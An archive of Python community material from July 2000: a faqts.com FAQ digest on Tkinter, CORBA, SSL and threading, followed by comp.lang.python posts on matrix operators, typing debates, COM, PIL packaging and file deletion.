method names of a specific class


## Unanswered Questions ########################################


-------------------------------------------------------------
Is there any way to shell out to a program and return whatever is printed to stdout rather than the exit status?
http://www.faqts.com/knowledge-base/view.phtml/aid/4922
-------------------------------------------------------------
Loren Poulsen



-------------------------------------------------------------
Can I run a script in an already running interpreter to hook a gui to a server process?
http://www.faqts.com/knowledge-base/view.phtml/aid/4761
-------------------------------------------------------------
Slimy, Fiona Czuczman



-------------------------------------------------------------
Can I make something like jtable with tkinter?
http://www.faqts.com/knowledge-base/view.phtml/aid/4019
-------------------------------------------------------------
udo apolloner, Fiona Czuczman



## New Entries #################################################


-------------------------------------------------------------
Is there a way to make a text box uneditable by the user, but insertable ( insert(END, 'schweet') ) by the application?
http://www.faqts.com/knowledge-base/view.phtml/aid/4927
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain

There may be a better way of doing it...

from Tkinter import *
root=Tk()
text=Text(root,width=50,height=50)
text.pack()
def intercept(event):
    return 'break'
text.bind('<Key>',intercept)
text.insert(END,'Sweet ;-)')
root.mainloop()

Here I bind a <Key> event to the intercept function - where I return 
'break' to stop the event propagating, so basically it's disabled. To 
undisable you'd just need to unbind that event.


-------------------------------------------------------------
I'm looking for an ODBC client package to Informix and SQL*Server which API is identical in Windows and Linux.
http://www.faqts.com/knowledge-base/view.phtml/aid/4929
-------------------------------------------------------------
Fiona Czuczman
Matthias Huening

Try Marc Lemburg's mxODBC:

http://starship.python.net/crew/lemburg/


-------------------------------------------------------------
Any pointers on using Python with CORBA?
http://www.faqts.com/knowledge-base/view.phtml/aid/4930
-------------------------------------------------------------
Fiona Czuczman
Martin von Loewis

Sure. There is a OMG-adopted language mapping, at

http://cgi.omg.org/cgi-bin/doc?ptc/00-04-08.pdf

There is a number of implementations of that mapping as well. In order
of appearance:

ILU:          ftp://ftp.parc.xerox.com/pub/ilu/ilu.html
Fnorb:        http://www.fnorb.com
omniORBpy:    http://www.uk.research.att.com/omniORB/omniORBpy/
orbit-python: http://sourceforge.net/project/?group_id=3561
[They look like they are ordered by increasing name length :-]

These implementations differ in ease-of-installation, degree of
conformance to the mapping spec (or to CORBA Core), additional
features offered, performance, portability, and so on.

Discussion of CORBA and Python typically takes place on the DO SIG,

http://www.python.org/sigs/do-sig/


-------------------------------------------------------------
Anyone know how to use the font measure() thing in tkinter?
http://www.faqts.com/knowledge-base/view.phtml/aid/4931
-------------------------------------------------------------
Fiona Czuczman
Matthew Dixon Cowles

>>> import Tkinter
>>> foo=Tkinter.Toplevel()
>>> import tkFont
>>> f=tkFont.Font(family="7x13")
>>> f.measure("wibble")
42

The Toplevel() call wouldn't be necessary in your program since you'd
have already called mainloop().


-------------------------------------------------------------
Are there any current SSL libraries for Python?
http://www.faqts.com/knowledge-base/view.phtml/aid/4932
-------------------------------------------------------------
Fiona Czuczman
Michael Str?der, pehr anderson

M2Crypto found on http://www.post1.com/home/ngps/m2/

------------------

We had this same issue. 
To solve it, we found that we could get what we needed by using the 
command-line options available in the openssl package. If your problem 
is more complicated than ours, you may be interested in investing more 
time than us.

To do what we did, install openssl-0.9.5a-1 from  http://www.openssl.org 
Binary RPMS are available from the http://openssh.com project
ftp://ftp1.usa.openbsd.org/pub/OpenBSD/OpenSSH/portable/rpm/
"man openssl" should tell you how to work openssl and you can run it 
from python with something like:
page = os.popen("echo %s | openssl" % cmds).read()
I don't remember exactly what we did so try your own thing.

Word on the street is that you should look in the prereleases of python 
1.6 (renamed 2.0) for the "right" long-term solution. I've downloaded 
the CVS and it looks like you will have to uncomment a couple of lines 
in:

python/dist/src/Modules/Setup.in


Here is the relevant section:

# Socket module compiled with SSL support; you must edit the SSL
variable:
#SSL=/usr/local/ssl
#socket socketmodule.c \
#       -DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \
#       -L$(SSL)/lib -lssl -lcrypto

# The crypt module is now disabled by default because it breaks builds
# on many systems (where -lcrypt is needed), e.g. Linux (I believe).
#crypt cryptmodule.c # -lcrypt  # crypt(3); needs -lcrypt on some
systems


-------------------------------------------------------------
Why is my pipe i/o thread blocking the other threads? Any answers?
http://www.faqts.com/knowledge-base/view.phtml/aid/4933
-------------------------------------------------------------
Fiona Czuczman
Richard Brodie

There is a global lock within Python, protecting its internals. When you
call out from a Python to a C extension method in a thread, the thread
holds the lock.

For maximum parallelism, and particularly if you're doing blocking I/O
in a thread, you need to release and reaquire the lock.

See: http://www.python.org/doc/current/api/threads.html for details.


-------------------------------------------------------------
I want one thread to wait for one or more other threads to terminate.
http://www.faqts.com/knowledge-base/view.phtml/aid/4934
-------------------------------------------------------------
Fiona Czuczman
Dale Burnett, Aahz Maruch

On windows you can use the Win32 functions WaitforSingleObject, SetEvent
and CreateEvent.  If you cant or dont want to use the win32 functions,
then check out the Event Objects in the threading module.

-----------

If you're waiting for one thread, that's reasonably easy.  If you're
waiting for all of a group of threads, use a semaphore.  But if you're
waiting for any one of a group of threads, that's a bit more tricky.
I'd suggest waiting on a queue, where the threads dump their data into
the queue.


-------------------------------------------------------------
Where can I find some example python/tkinter code? Some examples of how to use all those widgets would be useful.
http://www.faqts.com/knowledge-base/view.phtml/aid/4935
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain, Keith Murphy, Charles G Waldman

Have a look at John Grayson's manning site 
(http://www.manning.com/grayson) you 
can download the source from his book including code that demonstrates 
each widget.

I really would recommend a copy as it's an excellent book.

--------------

I would say that the best reference I've found for tkinter is Fredrik
Lundh's 'an introduction to tkinter'

http://www.pythonware.com/library.htm

--------------

How about in the Python source distribution in the directory
Demo/tkinter?


-------------------------------------------------------------
How can I change the text on a label? When I use the variabletext=whatever thing, the label wont show up.
http://www.faqts.com/knowledge-base/view.phtml/aid/4936
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain, Charles G Waldman

from Tkinter import *
root=Tk()
myString=StringVar()
Label(root,textvariable=myString).pack()
myString.set("Well, eh, how about a little red Leicester.")
def changeLabel():
    myString.set("I'm, a-fraid we're fresh out of red Leicester, sir. ")
Button(root,text='Click Me',command=changeLabel).pack()
root.mainloop()

I presume where you're going wrong is you are not creating an instance 
of StringVar and setting (or getting) the variable through that.

----

See http://www.secretlabs.com/library/tkinter/introduction/index.htm
for lots of useful tkinter information.


## Edited Entries ##############################################


-------------------------------------------------------------
Is there a Python MySQL module for use under Windows?
http://www.faqts.com/knowledge-base/view.phtml/aid/4188
-------------------------------------------------------------
Fiona Czuczman
Stefan Franke,Steve Cook

Check out

  ZMySQLDA-1.2.0.tar.gz

on the Zope site (www.zope.org). It contains MySQLdb-0.1.2 with some 
Windows patches already applied. I run it sucessfully with the lately 
GPLed MySQL-2.23.19 on Win98.

All you need to do is to edit Setup.in, adjust the paths to your local 
MySQL installation, and run compile.py.

----------------

Go here http://www.mysql.com/downloads/mysql-3.23.html

You can download the official Win9x/NT install package.  MySQL 3.23 is 
now under the GPL so you can get it for windows without paying for it, 
like you have to for 3.22


-------------------------------------------------------------
Removing null items from a list
Why not just loop through the list, test for false, and if false remove from the list?
http://www.faqts.com/knowledge-base/view.phtml/aid/4522
-------------------------------------------------------------
Nathan Wallace, Fiona Czuczman, Bill Anderson
Hans Nowak, Snippet 334, Andrew M. Kuchling

"""
Packages: basic_datatypes.lists
"""

"""
> So I've got a very simple desire: to remove all false (I.E. None, 0, '',
> []) items from a list.

The filter() built-in function, when not passed a specific function,
does exactly this:
"""

print filter(None, [ 1,2,0, None, [], '12', '' ])
# [1, 2, '12']

"""
filter(F, seq) returns all the elements of the sequence 'seq', for
which the function F returns true: for example, the following code 
takes all the strings of even length:
"""

print filter(lambda s: len(s) % 2 == 0, ['a', 'ab', '', 'abcd'])
# ['ab', '', 'abcd']

"""
If F is None, then filter() simply returns those elements that Python
treats as true.
"""


-------------------------------------------------------------
Is there any way I can prevent pythonwin(scintilla) from reading the method names of a specific class
http://www.faqts.com/knowledge-base/view.phtml/aid/4734
-------------------------------------------------------------
Nils Otto Johansen, Fiona Czuczman
Mark Hammond

NO.






From moshez at math.huji.ac.il  Sat Jul 15 03:28:00 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 15 Jul 2000 10:28:00 +0300 (IDT)
Subject: Discussion: Introducing new operators for matrix computation
In-Reply-To: <slrn8mvqbe.12e.hzhu@localhost.localdomain>
Message-ID: <Pine.GSO.4.10.10007151019290.26622-100000@sundial>

On Sat, 15 Jul 2000, Huaiyu Zhu wrote:

> That's the beauty of numerical computation, because all kinds of
> applications, from animation on your screen to controlling satallite in
> space to analysing molecular structures to calculating consumer preference
> could all be expressed in the language of linear algebra.  (Mathematicians
> study spaces more abstract than linear spaces, but you wouldn't want to hear
> about them before appreciating the usefulness of linear algebra.) For
> example, all deterministic procedures are functions, and most functions we
> see are simply points in an (infinite dimensional) space.

So? You refuse to understand, so let me iterate this once more -- less
people are doing numeric computation than web programming. Python does
*not* cater to specific domain in the core, no matter the popularity.
Linear algebra is great, but I don't want Python to support it by growing
a mess of symbols only it would use.

Now that we have that clear, let's get something useful done. Here's how
to solve the element-wise/matrix-wise problem neatly:

define two classes:

class ElementWiseMatrix:

	pass # all numeric operations are done element-wise

	def Matrix(self):
		return MatrixWiseMatrix(self.data)

class MatrixWiseMatrix:

	pass # all numeric operations are done matrix-wise

	def Element(self):
		return ElementWiseMatrix(self.data)

(operations between the two are an error)

Now, your

B*[sin(A*x+b).*(A*y)/3]/C 

Is spelled

(Assume all matrices are originall matrix-wise)

# sin() already works element by element, unless you define
# sin(A) = A-(A^3/3!)+(A^5/5!)-....
B*(sin(A*x+b).Element()*(A*y).Element()/3)/C

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From ssthapa at midway.uchicago.edu  Wed Jul 12 01:13:19 2000
From: ssthapa at midway.uchicago.edu (Suchandra Thapa)
Date: Wed, 12 Jul 2000 05:13:19 GMT
Subject: finding mount points
Message-ID: <slrn8mnrur.sas.ssthapa@ntcs-ip48.uchicago.edu>

    Is there any way to find the mount point of a filesystem given
the path to a file within the file system?  Using os.path.ismount 
lets you determine if a path is a mount point but is there any function
that returns something like /mnt/cdrom if you give it a path like
/mnt/cdrom/foo/bar.txt?

-- 
------------------------------------------------------------------

Suchandra S. Thapa 
s-thapa at uchicago.edu

------------------------------------------------------------------


From alex at magenta.com  Fri Jul 28 08:03:36 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 14:03:36 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no>
Message-ID: <8lrt2h013fp@news2.newsguy.com>

"Paul Boddie" <paulb at infercor.no> wrote in message
news:39814767.FFEFE5D0 at infercor.no...
    [snip]
> > 1 + "foo" = string ("1foo")
>
> Doesn't Perl do this last one as well? I refer you to the example I give
above -

Nope; in Perl, 1 + "foo" is 1.

> to have such behaviour permeating one's code is "nasty" to say the least.

I do consider it impractical, but what's "nasty" about it?


> > 1 + 1j = complex
> >
> >     So please don't tell me you don't want "automagic" type changing
when it
> > is already there and, I'd wager, you use it extensively.
>
> Actually, this kind of thing does irritate some people, but at least one
can
> claim that such behaviour for numbers is more or less accepted in wider
circles,

Specifically: in mathematics, there is a natural injection from naturals to
integers, from integers to rationals, from rationals to reals, from reals to
complex.  Unfortunately, things are *NOT* all roses and wine in the
real world, because we don't really have rationals in Pythons (much less
reals, of course:-), but rather an approximation -- so, precision-loss,
which is a form of information-loss, threatens...:

>>> long(12345678901234567890123L*1.0)
12345678901234567741440L

While it takes the explicit 'long' converter to see it clearly, the
information
loss has really happened in the implicit and silent conversion of
long-integer
(unlimited-precision) to floating-point (limited-precision).  Now *THAT*
is nasty!-)  I guess not enough people use a lot of long-integers, so
they're
rarely bitten by this -- but I do a lot of combinatorics, where
long-integers
are a real blessing, thus, the IMPLICIT information-loss in long->float
conversion forces me to be *EXTREMELY* careful.   Now if we had
unlimited-precision *rational* numbers, with both long-integers and floats
getting implicitly and silently promoted to suitable such *rationals*, the
world would be a very nice place again...:-).

> whereas 1 + "foo" is meaningless to almost everyone except Perl coders.

No way -- it's perfectly valid in C, too, except that there it means the
constant-string "oo".  Really, truly, X my heart, I kid you not, check it
out if you don't believe me (I wouldn't blame you for disbelieving this!).


Alex





From cut_me_out at hotmail.com  Wed Jul 12 20:05:59 2000
From: cut_me_out at hotmail.com (Alex)
Date: 12 Jul 2000 20:05:59 -0400
Subject: What is UnboundLocalError for?
References: <etdhf9vt1xf.fsf@w20-575-115.mit.edu>
Message-ID: <etdg0peuc60.fsf@w20-575-115.mit.edu>

Tee hee.  I'll get control over that pesky mouse one of these days.

This is what I meant to paste in:

>>> def f(): l = l + 1
... 
>>> f()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 1, in f
UnboundLocalError: l
>>> 

Thanks for the replies.  Good guess, Tim.

Alex.


From moshez at math.huji.ac.il  Wed Jul 19 07:12:28 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 19 Jul 2000 14:12:28 +0300 (IDT)
Subject: Toplevel "test()" functions in standard library
In-Reply-To: <14709.32736.512813.306302@temoleh.chem.uu.nl>
Message-ID: <Pine.GSO.4.10.10007191410570.2114-100000@sundial>

On Wed, 19 Jul 2000, Rob W. W. Hooft wrote:

> I agree that there can be internal routines in a module. But:
> 
>  - python has a nice way of hiding those routines from the casual user
>    of the library, namely adding an '_' before the name.

Which is a useful convention, but not a bug if not followed.

>  - you already argued that base64.test() provided useful functionality.
>    Why not document it?

Because it is useful only to someone who's reading the module's source,
not to the casual user. It would only add documentation cruft (IOW, do to
the documentation what you tried to prevent it to do to the code -- but
documentation is read by humans)

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From pehr at pehr.net  Thu Jul  6 22:14:44 2000
From: pehr at pehr.net (pehr anderson)
Date: Fri, 07 Jul 2000 02:14:44 GMT
Subject: os.system
References: <8k23tg$38me$1@www.univie.ac.at>
Message-ID: <39653D15.E4DE6131@pehr.net>

Dear Matthias,

In general, calling os.system causes the system to start a shell
which then processes the command string.
On linux this takes no time at all.  On windows I can see that
they may not have optmized the shell, especially since the shell
under window has so many glaring deficiencies.

All I can offer is an explanation, not a speedup. 
Perhaps you could find a way to talk to a browser that 
may already be started?

I'd recommend browsing "Python for Win32" if you are serious
about surviving under windows.

	-pehr



Matthias Huening wrote:
> 
> Some days ago somebody mentioned the possibility to start the standard
> browser through os.system on a Windows machine:
> 
> import os
> os.system('start http://www.python.org/')
> 
> That works just fine, when I start it from the command line in a DOS box.
> But from IDLE it takes a few seconds for the system to respond. Could
> somebody explain why an whether there is a speed up for this?
> 
> Thanks,
> Matthias


From fae at sis.it  Fri Jul  7 14:39:42 2000
From: fae at sis.it (fae)
Date: Fri, 07 Jul 2000 20:39:42 +0200
Subject: EOF
Message-ID: <396623EE.211B14E9@sis.it>

Sorry,
   how can I test if I reached the end of file ?

thanks ,
   Leonardo.



From tim.hochberg at ieee.org  Wed Jul 19 00:33:18 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Wed, 19 Jul 2000 04:33:18 GMT
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain> <m2u2dnkltz.fsf@spiff.home.com> <39751EFA.6293FDFE@prescod.net>
Message-ID: <m2n1jelri8.fsf@spiff.home.com>

Paul Prescod <paul at prescod.net> writes:

> Tim Hochberg wrote:
> > 
> > Similarly:
> > 
> > dot((A,B), C) -> A(B)(C)
> > dot(A, dot(B,C) -> A(B(C))
> > 
> > which looks pretty good to me. And it's arguably closer to paper
> > linear algebra notation than A*B is.
> 
> Another good idea! You can even make it look like the new-syntax
> proposal:
> 
> A()*B()*C
> A()+B()+C
> A()-B()-C

I suppose you could, although what I had in mind was specific to
Matrix multiplication. I went ahead and added it to JNumeric, just for
grins, and I still think it looks pretty good. Maybe I'll keep it and
see if the CNumeric people will follow.

An example:

>>> from Numeric import *
>>> a = arange(5)
>>> a(a)
30
>>> a
array([0, 1, 2, 3, 4])
>>> b = identity(5)
>>> b
array([[1, 0, 0, 0, 0],
       [0, 1, 0, 0, 0],
       [0, 0, 1, 0, 0],
       [0, 0, 0, 1, 0],
       [0, 0, 0, 0, 1]])
>>> b(a)
array([0, 1, 2, 3, 4])
>>> b*a
array([[0, 0, 0, 0, 0],
       [0, 1, 0, 0, 0],
       [0, 0, 2, 0, 0],
       [0, 0, 0, 3, 0],
       [0, 0, 0, 0, 4]])
>>> (b*a)(a)
array([ 0,  1,  4,  9, 16])
>>>  # For those of you who like the more symmetrical look.
>>> (a)(a)
30
>>> (b)(a)
array([0, 1, 2, 3, 4])
>>>     


It's easier to do than to explainily yours,

-tim


From ssthapa at midway.uchicago.edu  Sat Jul 29 15:52:54 2000
From: ssthapa at midway.uchicago.edu (Suchandra Thapa)
Date: Sat, 29 Jul 2000 19:52:54 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com>
Message-ID: <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu>

Alex Martelli <alex at magenta.com> wrote:
>It matters if you care about how easy/hard it is to turn those
>"non-programmers" into "programmers in the language you
>are designing".  E.g., the CP4E project, which used to be
>aimed at turning _everybody_ into programmers, had better

    Actually I think it would be easier for non-programmers to
learn a language if it has strict typing.  That way beginners 
just need to learn that operators only on objects of the same type and
that parameters to a function need to match the type signature of 
the function.  That way they wouldn't need to learn what types a given
type can be automagically coerced to.  That along with the introduction
of type coercion would make understanding a code fragment a lot easier.
Plus, if you add a few other features like polymorphic types you could 
make your program type safe so that any program that compiled would be
guaranteed not to have any type errors.


-- 
------------------------------------------------------------------

Suchandra S. Thapa 
s-thapa at uchicago.edu

------------------------------------------------------------------


From guido at python.org  Thu Jul 27 11:29:15 2000
From: guido at python.org (Guido van Rossum)
Date: Thu, 27 Jul 2000 15:29:15 GMT
Subject: Is the "Be" significant? (Re: The State of Python)
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <397FD6B9.5017B952@see.my.signature>
Message-ID: <cpr98fk04z.fsf@cj20424-a.reston1.va.home.com>

Greg Ewing writes:
> By the way, does BeOpen have anything to do with
> the BeOS people? If not, it would seem to be a
> rather confusing choice of name.

No, we're not related.  BeOpen is to be read as "be open" (as in "open
to open source").  If anything, "Be" made a rather confusing choice of
name.  For example, Google tells me, when I type "Be" in their search
box:

  "Be" is a very common word and was not included in your search.

(To search for Be in Google, you have to type +Be; then www.be.com is
the first hit.)

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From billtut at microsoft.com  Fri Jul 14 08:35:08 2000
From: billtut at microsoft.com (Bill Tutt)
Date: Fri, 14 Jul 2000 05:35:08 -0700
Subject: TypeLib for Python COM Server?
Message-ID: <4D0A23B3F74DD111ACCD00805F31D8101D8BD2D6@RED-MSG-50>

No, no, no... no need for a brand new policy...

>From the MappedWrapPolicy doc string:

     _dispid_to_func_/_dispid_to_get_/_dispid_to_put_ -- These are
dictionaries
       (keyed by integer dispid, values are string attribute names) which
the COM
       implementation uses when it is processing COM requests.  Note that
the implementation
       uses this dictionary for its own purposes - not a copy - which means
the contents of 
       these dictionaries will change as the object is used.

Bill


 -----Original Message-----
From: 	Stefan Migowsky [mailto:smigowsky at dspace.de] 
Sent:	Thursday, July 13, 2000 11:58 PM
To:	'John Lull'; python-list at python.org
Subject:	RE: TypeLib for Python COM Server?

Hi, 

use a special policy as shown in the example

...\python\win32com\servers\dictionary.py 

There are the invoke and getidsofnames of the dispatch
interface overwritten to provide the special
DISPIDs

  Stefan


>-----Original Message-----
>From: John Lull [mailto:lull at acm.org]
>Sent: Friday, July 14, 2000 3:57 AM
>To: python-list at python.org
>Subject: Re: TypeLib for Python COM Server?
>
>
>Bill Tutt <billtut at microsoft.com> wrote:
>
>> Don't rely on the 1000 thing. You should specifically 
>declare the dispid's
>> in the Python class.
>
>How?
>
>Thanks,
>John
>-- 
>http://www.python.org/mailman/listinfo/python-list
>

-- 
http://www.python.org/mailman/listinfo/python-list



From kuncej at mail.conservation.state.mo.us  Fri Jul 21 10:35:00 2000
From: kuncej at mail.conservation.state.mo.us (Jeff Kunce)
Date: Fri, 21 Jul 2000 09:35:00 -0500
Subject: PIL and McMillan Installer
References: <C1Kd5.22$N4.267@news.more.net>
Message-ID: <wgZd5.23$N4.295@news.more.net>

> Has anyone used Gordon McMillan's Installer to
> package a python app using PIL?

OK, I figured it out myself (RTFM...)

> It looks like  _imaging.dll is making calls to .py
> files, and I'm not sure how to configure that in
> the installer.

In my top level script, I added:
    import ImageFile, JpegImagePlugin

These are the files that _imaging.dll needs, and
importing them explicitly gets them bundled
correctly into the installer.

If I needed other image types,
I would need to import their respective plugin modules
as well.

  --Jeff





From eviltofu at rocketmail.com  Wed Jul 26 15:49:47 2000
From: eviltofu at rocketmail.com (Jerome Chan)
Date: Wed, 26 Jul 2000 19:49:47 GMT
Subject: Reading PCI Configuration Space...
Message-ID: <eviltofu-DABC38.15495026072000@news.earthlink.net>

Does anyone know how to read the PCI configuration space with Python 
under Win 98 or Linux?


From peter at wl.vg  Sat Jul 15 22:50:35 2000
From: peter at wl.vg (Peter Halliday)
Date: Sat, 15 Jul 2000 22:50:35 -0400
Subject: Python equivalent of CPAN in Perl
Message-ID: <397122FB.71E32674@wl.vg>

Is there a module or program like CPAN in Python that collects all the
existing modules available in some  organized way, and even compiles it
for you? If not, that would really provide python with a reliability and
usefulness that Perl has.  We already beat them in the syntax hands
down, let's start catching up in the modules dept.



-- 
Peter Halliday
Online Application Developer
Whetstone Logic, Inc.       http://www.whetstonelogic.com
icq#75769411           AIM screen name: hoaggelos


From MarkH at ActiveState.com  Mon Jul 31 22:11:01 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Tue, 01 Aug 2000 02:11:01 GMT
Subject: Win32 drive mapping... aka "net use"
References: <8lr9nc$tdf$1@nnrp1.deja.com> <8lrvae015nm@news2.newsguy.com> <3981D157.D7A1A347@intel.com> <8lspqe02drs@news2.newsguy.com> <sUug5.15076$4p3.118527@news-server.bigpond.net.au> <8m4ovo$g1s$1@nnrp1.deja.com>
Message-ID: <Vkqh5.17604$4p3.141355@news-server.bigpond.net.au>

<kellyk at my-deja.com> wrote in message news:8m4ovo$g1s$1 at nnrp1.deja.com...
> It would be nice to be able to do permanent connections. The reference
> for WNetAddConnection2 says the last parameter is a flag to indicate
> whether or not the connection is to be permanent. The win32wnet source
> looks like it's hard coded to temporary.

good point - I've added a new optional param to handle this.

[Note that a patch would also have been acceptable ;-]

Mark.





From paul at prescod.net  Sun Jul 23 02:35:10 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 01:35:10 -0500
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature> <m3vgy1nvfc.fsf@atrus.jesus.cam.ac.uk> <3977C029.2C1DC8AC@my.signature>
Message-ID: <397A921E.4FCF8214@prescod.net>

Greg Ewing wrote:
> 
> ...
> 
> About that particular syntax, yes. But not about
> the idea of some sort of zipping syntax.

Note that this feature started as a syntax and was "demoted" to a name
when it was realized that there was no syntax that would "call out"
parallel not cross-product. Plus, why add syntax when a function will
do?

> If there were a special syntax for zipping, the
> compiler could easily recognise this case and
> optimise it.

We should get to the point where compilers can recognize and optimize
built-in functions soon.

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From hzhu at localhost.localdomain  Tue Jul 18 22:25:43 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Wed, 19 Jul 2000 02:25:43 GMT
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <slrn8n9s6i.so.hzhu@rock.localdomain> <m2u2dnkltz.fsf@spiff.home.com>
Message-ID: <slrn8na4js.so.hzhu@rock.localdomain>

On Wed, 19 Jul 2000 01:21:10 GMT, Tim Hochberg <tim.hochberg at ieee.org> wrote:
>
>There is a problem with adding new operators to mean elementwise: the
>current operators are already elementwise in NumPy. Either all current
>NumPy code would have to be broken to fit in with this rule, or the
>rule would have to become "elementwise, except when it's not", which
>is somewhat less satisfying. I would suggest that it would be more
>productive to add operators that are not elementwise, except that
>conflicts with the rest of Python. TNSTAAFL.

I would have prefered compatibility with NumPy, except for two reasons:
1. MatPy was started because there is a real need for using infix operator
   for matrix multiplication and the only way available was to define a new
   class.  So for MatPy users, at least, * already means matrixwise.
2. The current list add is not componentwise.

I don't know of a way that satisfies every compatibility demand.  Because
the supply of binary operators has been very limited, each package assigns
them to their most deserving ones instead of according to a better overall
plan.  Had there been more this could have been better coordinated.

>Personally I think that this an overlarge crop of operators to be
>adding. Since I prefer something like:
>
>A.inv * B 
>
>to 
>
>A \ B

They are equal in math, but not in practice.  The former takes O(n^3)
computation while the latter is O(n^2).  The former is also less accurate
for near singular A because of rounding error.

>anyway, the only operator I feel is missing is the matrix
>multiplication. And, conveniently, there is an appropriate opperator

The other operators are also useful. For example, the + and .+ do different
things.  If you add a row and column vector with + it will complain about
shape mismatch, as defined in linear algebra. With .+ it will give a matrix
properly extended to both rows and columns.  This has been asked for in this
thread. I've seen it been called prolongation, continuation or cross
extension, among others.  In fact, in MatPy, the .+ .- .* ./ do exactly what
+ - * / do in NumPy.

>> names .+ "is" .+ types
>> map(lambda x,y: x+"is"+y, names, types)
>
>There's a bit of a problem here since "is" is a sequence. I'm not sure
>how you propose to have sequences of unequal length work with .X, but
>I'd think this would have to be:
>
>names .+ ["is"]*len(names) .+ types

Oops!  It should be

names .+ ["is"] .+ types

Note the extension mechanism is used.  Sequences with different length raise
exceptions, except when one of them has length one, which is extended to the
other length.

Huaiyu


From richard_chamberlain at ntlworld.com  Wed Jul 26 12:29:32 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Wed, 26 Jul 2000 17:29:32 +0100
Subject: Deleting files with wildcards
References: <397f046d.193858654@news.atnet.at>
Message-ID: <miEf5.10527$yE4.176018@news2-win.server.ntlworld.com>

Hi Manfred,

import glob,os

filelist=glob.glob('c:/*.txt')
for file in filelist:
    os.remove(file)

Richard
Manfred Pisecky <pisecky at tttech.com> wrote in message
news:397f046d.193858654 at news.atnet.at...
> Hello everyone!
>
> I have to delete a bundle of files, e.g. *.txt in a portable way (it
> must work for Linux and NT).
>
> I use Python 1.5.2. and have not found a way to either delete files
> with wildcards or to read the directory content (and do it file by
> file).
>
> Is there a portable way in 1.5.2 ?
>
> Thanks,
> Manfred Pisecky




From cjc26 at nospam.cornell.edu  Mon Jul 17 16:12:24 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Mon, 17 Jul 2000 20:12:24 GMT
Subject: mxTextTools Question, Number 2 :)
References: <sEcc5.8205$lS2.101887@typhoon.we.rr.com>
Message-ID: <slrn8n6q8d.4cc.cjc26@synecdoche.sowrong.org>

* Stephen Hansen <stephen at cerebralmaelstrom.com> menulis:
| 
| ...works, I suspose... but, here's the harder part. I want to ignore that
| whitespace as delimiter if the next character is a special
| 
| So, "This &that" would end up capturing "This that".
| 
| For the life of me I can't even fathom how to do the above! Well, I have a
| vague conception of what needs to be done but can't get it down on
| paper(Y'know what I mean. :))

Would it be possible to have the special character come >before< the
space, rather than after?  For example, "This& that".  That might be a
bit easier to do.

If you can't do it that way, well..I don't know mxTextTools, but I do
know a little about writing parsers in general.  The way I would do it
is to have the parser jump to a special state whenever it encounters a
space; in that state, if the next character is "&" then add a space to
the text buffer and jump back to the "Text" state.

Hopefully you can translate the above into mxTextTools code. :)


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From kulbrich at yahoo.com  Sun Jul 30 02:33:57 2000
From: kulbrich at yahoo.com (Karl Ulbrich)
Date: Sun, 30 Jul 2000 02:33:57 -0400
Subject: Perl is worse!
In-Reply-To: <slrn8o74um.fjt.grey@teleute.rpglink.com>; from grey@despair.rpglink.com on Sun, Jul 30, 2000 at 02:35:06AM +0000
